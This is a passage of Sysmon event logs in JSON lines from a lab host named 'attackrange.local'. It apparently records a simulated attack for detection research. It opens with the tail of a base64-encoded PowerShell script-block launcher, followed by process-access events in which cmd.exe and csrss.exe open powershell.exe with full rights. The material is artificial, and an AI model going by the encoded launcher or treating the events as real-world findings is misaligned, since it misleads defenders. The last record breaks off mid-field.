BFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5643,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-00103D800800}\r\nSourceProcessId: 4648\r\nSourceThreadId: 4468\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010F6800800}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-4171-5F2D-0000-00103D800800}","SourceProcessId":"4648","SourceThreadId":"4468","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010F6800800}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5644,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5645,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5646,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5647,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5648,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5649,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5650,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010F6800800}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010F6800800}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5651,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 